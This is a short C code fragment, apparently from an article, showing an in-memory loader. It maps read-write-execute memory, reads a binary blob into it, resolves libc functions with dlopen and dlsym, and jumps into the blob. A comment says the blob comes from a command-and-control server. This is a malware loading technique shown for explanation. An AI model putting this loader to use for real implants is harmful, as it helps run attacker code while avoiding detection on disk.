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Position Independent Executable loader example for article
// Request the pie_blob module from the C2 server
// mmap exectuable memory
fptr = mmap(NULL, sb.st_size, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// read the blob into memory
result = fread(fptr, 1, sb.st_size, pBlob);
// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen)
handle = dlopen(LIBC_FILE, RTLD_LAZY);
*(void**) (&ex) = dlsym(handle, "exit");
// then literally just call the function in pie_blob
int i = 1;
i = ((int(*)(int))fptr)(i);
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